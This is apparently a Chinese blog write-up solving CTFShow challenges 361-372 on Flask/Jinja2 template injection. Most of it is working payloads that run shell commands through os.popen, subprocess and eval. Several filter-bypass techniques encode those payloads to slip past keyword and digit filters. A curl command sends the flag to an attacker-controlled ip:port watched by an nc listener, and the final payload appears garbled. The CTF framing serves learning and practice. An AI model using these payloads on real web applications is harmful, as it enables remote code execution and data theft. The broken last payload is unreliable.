CTFShow WEB入门SSTI WEB361-372 完结!

入门必看

flask之ssti模版注入从零到入门-先知社区

(说实话照着看了一遍,学到的很多,但是这个师傅没那么细心,所以可能会在某些地方误导新手(没错,比如我)

WEB361

SSTI注入,最终payload:

1
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27]("cat%20/flag").read()}}

我们借用python的flask框架解释。

1
print("".__class__)

输出 class <'str'>

1
print("".__class__.__bases__)

输出 (class <'object'>,),回显一元组

  • .__bases__返回所有直接父类的元组,按声明顺序排列

  • .__base__相当于.__bases__[0]

    (在极少数多继承的 C 扩展类型上,__base__ 不一定等于 __bases__[0],因此不要在需要严格语义时依赖它们必然相等。)

  • .__mro__返回方法解析顺序(从自身到object)

    例如:

    1
    print("".__class__.__mro__)

    输出(<class 'str'>, <class 'object'>)

    1
    print("".__class__.__base__.__subclasses__())
  • __subclasses__()的作用是返回当前类的所有子类集合。

    输出结果:

    1
    2
    [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'FrameLocalsProxy'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InstructionSequence'>, <class 'sys.legacy_event_handler'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'NoDefaultType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._ThreadHandle'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class 'winreg.PyHKEY'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'genericpath.ALLOW_MISSING'>, <class '_winapi.Overlapped'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'ast.AST'>]

  • 我们选择其中的``,也就是

    1
    print("".__class__.__base__.__subclasses__()[-6])

在这里我们是可以用脚本直接找的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json
classes="""

"""
# 在上面输入题目给的所有类
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)
#117---> <class 'os._wrap_close'>
  • 然后用.__init__装配对象,在python中__init__本质上就是一个函数对象,函数对象有__globals__属性——指向定义它的那个模块的全局字典。

    1
    print("".__class__.__base__.__subclasses__()[-6].__init__.__globals__)

    通过这个payload,我们将拿到os模块的全局字典。

    直接选中其中的popen,即:

    1
    print("".__class__.__base__.__subclasses__()[-6].__init__.__globals__['popen'])

    后面就能接上我们需要的命令了。

  • 比如说我们用 cat /flag,也就是os.popen("cat /flag")

    os.popen会通过shell执行命令,并返回一个可读的管道文件对象。

  • 这时候我们再加.read(),读取前面命令的标准输出,这里表达式的最终值就是文件内容,被{{}}渲染到网页页面上。

我们绕这么一大圈主要是为了绕过大部分题目对os,system,subprocess这些关键字的过滤。

回到题目,只有一个hello。

这时候我们猜GET参数为name,写

1
/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}

直接得出flag。

WEB362

这次过滤了数字。

绕过方式有很多:

全角数字绕过:

直接改成全角数字,就可以绕过过滤。

subprocess.Popen()

因为这里只过滤了2,3.

1
/?name={{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}

("cat /flag", shell=True, stdout=-1) → **实例化 Popen**:

  • 第一个参数是命令(因为 shell=True,所以传的是字符串)。
  • stdout=-1 等价于 stdout=subprocess.PIPE(CTF 里常用 -1 来避开对 subprocess/PIPE 的关键字过滤)。

.communicate()[0] → 等待子进程结束并一次性读出管道;下标 0stdout(下标 1 是 stderr)

数字拼接

1
{{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}}

%2b+的url编码。

写成 %2b+11 是为了绕过对 + 的过滤(很多 Web 框架会把查询字符串里的未转义 + 当作空格),用 %2b 能确保到达模板时仍是一个真正的加号。

同样地,140-8也能得到同样的效果。

_frozen_importlib_external.FileLoader

payload:?name={{"".__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

使用_frozen_importlib_external.FileLoader进行读取flag内容。

  • (0,”/flag)中:

0:充当 self(因为从类上取到的是“未绑定”的函数,需要一个“实例位”的参数;这招在 CTF 里常用来糊弄“self”,只要函数实现里不真正用到 self 就行)。

"/flag":要读取的路径。
FileLoader.get_data(self, path) 的实现只用到了 path 来打开文件并返回字节串,所以一个假的 self 也能跑通。

lipsum

使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块

1
?name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}

WEB363

过滤单双引号。

Payload(前半):

1
/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

这里可以直接用元组,就不用字符串了避免被过滤。

注意'popen'中的''是怎么处理的:

1
/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen]}}&popen=popen

[request.args.popen]:这里的popen是参数,request.args是一个MultiDict,装着查询字符串参数。

也就是说,我们在后面带一个值为popen的参数,就可以做到request.args.popen = 'popen'

1
/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag

同理,对于popen后接命令的双引号我们也可以绕过。

类似地,我们还有request.values.a,request.cookies.a.

WEB364

过滤单双引号,同时过滤args.

仍然有request.values.a的方法绕过。

最终payload:

1
/?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.cmd).read()}}&a=popen&cmd=cat%20/flag

WEB365

过滤方括号[],可以用getitem绕过。

例如原payload:

1
/?name={{().__class__.__base__.__subclasses__[132]}}

getitem就变成了:

1
/?name={{().__class__.__base__.__subclasses__.getitem(132)}}

现在才知道**__globals__还能直接接.popen(cmd)**。

最终我们的payload:

1
/?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat%20/flag

WEB366

Cued By gkjzjh146

一共过滤'',"" ,[],__

我们已经知道__globals__可以直接接.popen(cmd)了,那我们可以将获取os.popen方法的payload再简化。

1
/?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag

对于过滤__,我们先给出payload:

1
/?name={{(lipsum | attr(request.values.a)).os.popen(request.values.cmd).read()}}&a=__globals__&cmd=cat /flag

其中(lipsum | attr(...))将直接充当lipsum.__globals__,并且绕过下划线过滤。

对于attr,官方文档:

  • jinja-filters.**attr**(*obj: Any*, *name: [str]) → [jinja2.runtime.Undefined](https://jinja.palletsprojects.com/en/stable/api/#jinja2.Undefined) | Any

    Get an attribute of an object. foo|attr("bar") works like foo.bar, but returns undefined instead of falling back to foo["bar"] if the attribute doesn’t exist.

还是很清晰的。

WEB367

过滤了os,最直观的方法就是直接把os放到GET参数里。

1
/?name={{(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.cmd).read()}}&a=__globals__&cmd=cat /flag&c=os

这里使用get(),比较易懂。

WEB368

尝试name={{1*1}}都失败,题目过滤了{{}}

应对措施就是用{%print()%},payload:

1
/?name={%print((lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.cmd).read())%}&a=__globals__&cmd=cat /flag&c=os

WEB369

request被禁了,显然我们已经没办法再用常规方法解决。

下面是大概方向:

方法一:

  • config+脚本任取字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
url="http://913bcaaf-61c7-4070-b5c3-0847bd41906b.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"

# 如果出现大量报错,把https改成http试试呢

payload="request"
result=[]
cache={} # 缓存已经解析过的字符,避免重复遍历
for j in payload:
key=j.lower()
if key in cache:
print("%s == %s (cached)"%(cache[key],j))
result.append(cache[key])
continue
for i in range(0,10000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==key:
expr="(config|string|list).pop(%d).lower()"%i
print("%s == %s"%(expr,j))
cache[key]=expr
result.append(expr)
break
print("~".join(result))

这个脚本,借用config配置文件里有的大量字符遍历拼接,大概原理就是让i迭代一千次,枚举前一千个字符,检查是否符合word==j.lower()这个条件,最后将绕过结构载入result中,输出result。

关于这个r.text.find("<h3>"),建议自己看看服务器返回的内容:

1
2
3
4
<div class="center-content error">
<h1>Hello</h1>
<h3>c</h3>
</div>

最后一个难点,{%print (config|string|list)%}

  • config指向配置文件,
  • | string将config写成字符串形式,
  • | list将字符串拆成由字符组成的列表。

[!IMPORTANT]

注意,这个脚本生成的是拼接起来的字符串。

只能作字符串用嗷。

  • set构造字符

这是我们这题需要用到的方法,
set设置变量,然后用上一个脚本跑出来的一些字符串进行拼接,得到我们想要的函数方法。

1
2
3
4
5
6
7
/?name=
{%set a=(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()%}
{%set b=(config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()%}
{%set c=(config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()%}
{%set globals=(a,dict(globals=1)|join,a)|join %}
{%set d=(a,dict(getitem=1)|join,a)|join %}
{%print ((lipsum|attr(globals))|attr(d)(c)).popen(b).read()%}

image-20251113150020654

__getitem__这个魔法方法,可以将一个自定义类当做字典任意读。

这样我们就绕过了__os这些过滤。

方法二:

1
2
3
4
5
6
7
8
/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

利用元组turpleselect过滤器,可以做到有限范围内的任取字符。

  • ()|select

    select本意是筛选序列中的元素,对一个空元组不会生成实际数据,但是可以返回一个生成器对象,类似于:

    1
    <generator object select_or_reject at 0x7fdce487b430>

    这是什么,这不就是我们法一里和config有异曲同工之妙的东西吗!

  • 再用|string将生成器对象改成字符串,结果依然是:

    1
    <generator object select_or_reject at 0x7fdce487b430>

    但是此时不同的是,这些字已经不再是一个生成器对象的整体,而是孤立的字。

  • 最后用|list,得到孤立字的列表。

    我们此时就可以用pop方法弹出我们需要的字符。

image-20251113152910434

其中的__builtins__,指向模块的内建环境,里面包括所有内建函数(len,print,open,eval),所有内建异常(Exception,ValueError,TypeError),内建常量、类型等

所以我们就可以通过构造内建环境,达到从SSTI模板走向Python世界的效果。

还有一个值得注意的点,就是这个get:

image-20251113164113338

这样可以避免类型不对而无法调用的情况。

WEB370

方法一:

再次过滤数字,我们依然可以用全角绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)

这都有脚本,真的很好了。

但是有必要吗(

1
2
3
4
5
6
7
8
/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

方法二:

使用count或者length构造数字。

1
2
3
4
{% set one=(dict(a=a)|join|length)%}
=> one = 1
{% set two=(dict(aa=a))|join|length)%}
=> one = 2
1
2
3
4
5
6
7
8
9
10
11
12
/?name={%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}
{%set k=dict(eeeeeeeee=a)|join|count%}
{%set l=dict(eeeeeeee=a)|join|count%}
{% set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}
{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}
{%print ((lipsum|attr(c))|attr(d)(e)).popen(i).read()%}

WEB371

终于做出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/?name={%set e=dict(a=a)|join|count%}
{%set ee=dict(aa=a)|join|count%}
{%set eee=dict(aaa=a)|join|count%}
{%set eeee=dict(aaaa=a)|join|count%}
{%set eeeee=dict(aaaaa=a)|join|count%}
{%set eeeeee=dict(aaaaaa=a)|join|count%}
{%set eeeeeee=dict(aaaaaaa=a)|join|count%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|count%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|count%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop((ee~eeee)|int)~(()|select|string|list).pop((ee~eeee)|int)%}
{%set glob = (x,dict(globals=a)|join,x)|join %}
{%set builtins=x~(dict(builtins=a)|join)~x%}
{%set import=x~(dict(import=a)|join)~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~(dict(getitem=a)|join)~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set zero=chr((eeee~eeeeeeee)|int)%}
{%set cmd = ???%}
{%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}LuooU{%endif%}

这是我们初步绕过的脚本,可以尝试理解。

其中,()|select|string|list生成出:

['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', 'c', '4', 'b', 'c', '9', '8', '1', '3', '5', '0', '>']

第25个是_,所以我们就写pop(24).

image-20251114100123334

首先我们要知道这道题的基本逻辑,题目ban了print,所以这题就算是无回显。

payload的前大半,我们都是在前面学过了的。最后的chrcmd和一个if语句,我们要好好讲讲。

  • chr:从lipsum->__builtins__,最后用|attr(getitem)(chr),我们获得了python中的chr()函数。

  • 从if语句开始,这一段本质上是在利用__builtins__进入python,通过调用eval函数,执行我们的cmd命令。

    如果执行结果为真,那么就输出aaaaa

  • cmd里面要写什么?

    关于这个,因为我们的print被禁用了,所以我们即使拿到了flag也在题目里看不见。

    这时候我们可以用curl命令将输出外带。

    命令构造的脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    import re
    def filting(s):
    return "".join([f"chr({ord(i)})~" for i in s])[:-1]
    cmd=filting("__import__('os').system('curl \"http://ip:port/?flag=$(cat /flag)\"')")
    nums = set(re.findall("(\\d+)",cmd))
    for i in nums:
    patnum = "".join(["zero~" if j=="0" else f'{"e" * int(j)}~' for j in f"{i}"])
    cmd = cmd.replace(f"{i}",f"({patnum[:-1]})|int")
    print(cmd)

eval()里面的命令,就是在题目服务器内执行的命令。

先引入os模块,执行curl命令:

__import__('os').system('curl "http://ip:port/?flag=$(cat /flag)"')

其中的ip:port,我用的是自己服务器的监听。

比如这里我选择的8000端口,我就在自己服务器上输入nc -lvnp 8000,监听8000端口。

-l:监听(listen).

-v:verbose,多打印点信息.

-n:不做DNS解析.

-p 8000:监听8000端口.

这一段命令,通过脚本构造的字符就是

1
2
chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~zero~eeeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((e~e~e)|int)~chr((e~e~eeeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)~chr((eeee~eeeeee)|int)~chr((e~e~eeeee)|int)~chr((e~ee~e)|int)~chr((e~e~eeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~zero~e)|int)~chr((e~zero~eeeeeeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((e~e~eeeeeee)|int)~chr((e~e~eeee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eee~ee)|int)~chr((eee~eeee)|int)~chr((e~zero~eeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeeeee~eee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeeeee~e)|int)~chr((eee~eeeeee)|int)~chr((eeee~zero)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~e~eeeeee)|int)~chr((eee~ee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeee~e)|int)~chr((eee~eeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)

把他填到前面的命令中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/?name={%set e=dict(a=a)|join|count%}
{%set ee=dict(aa=a)|join|count%}
{%set eee=dict(aaa=a)|join|count%}
{%set eeee=dict(aaaa=a)|join|count%}
{%set eeeee=dict(aaaaa=a)|join|count%}
{%set eeeeee=dict(aaaaaa=a)|join|count%}
{%set eeeeeee=dict(aaaaaaa=a)|join|count%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|count%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|count%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop((ee~eeee)|int)~(()|select|string|list).pop((ee~eeee)|int)%}
{%set glob = (x,dict(globals=a)|join,x)|join %}
{%set builtins=x~(dict(builtins=a)|join)~x%}
{%set import=x~(dict(import=a)|join)~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~(dict(getitem=a)|join)~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set zero=chr((eeee~eeeeeeee)|int)%}
{%set cmd = chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~zero~eeeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((e~e~e)|int)~chr((e~e~eeeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)~chr((eeee~eeeeee)|int)~chr((e~e~eeeee)|int)~chr((e~ee~e)|int)~chr((e~e~eeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~zero~e)|int)~chr((e~zero~eeeeeeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((e~e~eeeeeee)|int)~chr((e~e~eeee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eee~ee)|int)~chr((eee~eeee)|int)~chr((e~zero~eeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeeeee~eee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeeeee~e)|int)~chr((eee~eeeeee)|int)~chr((eeee~zero)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~e~eeeeee)|int)~chr((eee~ee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeee~e)|int)~chr((eee~eeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)
%}
{%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}LuooU{%endif%}

就可以在监听里发现请求头了。

image-20251114085855701

WEB372

过滤了count,换成length就可以,其他的都不用动。

1
2
/?name={%set e=dict(a=a)|join|length%} {%set ee=dict(aa=a)|join|length%} {%set eee=dict(aaa=a)|join|length%} {%set eeee=dict(aaaa=a)|join|length%} {%set eeeee=dict(aaaaa=a)|join|length%} {%set eeeeee=dict(aaaaaa=a)|join|length%} {%set eeeeeee=dict(aaaaaaa=a)|join|length%} {%set eeeeeeee=dict(aaaaaaaa=a)|join|length%} {%set eeeeeeeee=dict(aaaaaaaaa=a)|join|length%} {%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|length%} {%set x=(()|select|string|list).pop((ee~eeee)|int)~(()|select|string|list).pop((ee~eeee)|int)%} {%set glob = (x,dict(globals=a)|join,x)|join %} {%set builtins=x~(dict(builtins=a)|join)~x%} {%set import=x~(dict(import=a)|join)~x%} {%set c = dict(chr=a)|join%} {%set o = dict(o=a,s=a)|join%} {%set getitem = x~(dict(getitem=a)|join)~x%} {%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%} {%set zero=chr((eeee~eeeeeeee)|int)%} {%chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~zero~eeeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeeeeeeee~eeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((e~e~e)|int)~chr((e~e~eeeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)~chr((eeee~eeeeee)|int)~chr((e~e~eeeee)|int)~chr((e~ee~e)|int)~chr((e~e~eeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~zero~e)|int)~chr((e~zero~eeeeeeeee)|int)~chr((eeee~zero)|int)~chr((eee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((e~e~eeeeeee)|int)~chr((e~e~eeee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eee~ee)|int)~chr((eee~eeee)|int)~chr((e~zero~eeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~eeeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~eeeee)|int)~chr((e~e~ee)|int)~chr((eeeee~eeeeeeee)|int)~chr((e~e~ee)|int)~chr((e~e~e)|int)~chr((e~e~eeee)|int)~chr((e~e~eeeeee)|int)~chr((eeee~eeeeeee)|int)~chr((eeeeee~eee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeeeee~e)|int)~chr((eee~eeeeee)|int)~chr((eeee~zero)|int)~chr((eeeeeeeee~eeeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~e~eeeeee)|int)~chr((eee~ee)|int)~chr((eeee~eeeeeee)|int)~chr((e~zero~ee)|int)~chr((e~zero~eeeeeeee)|int)~chr((eeeeeeeee~eeeeeee)|int)~chr((e~zero~eee)|int)~chr((eeee~e)|int)~chr((eee~eeee)|int)~chr((eee~eeeeeeeee)|int)~chr((eeee~e)|int)
%} {%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}LuooU{%endif%}

依然服务器监听。

image-20251114182151251

也是用拼好串做完了SSTI的所有题目,完结撒花!!

这之后,我将先去学SSTI基础,
SSTI注入 - Hello CTF

再看无回显的几种情况。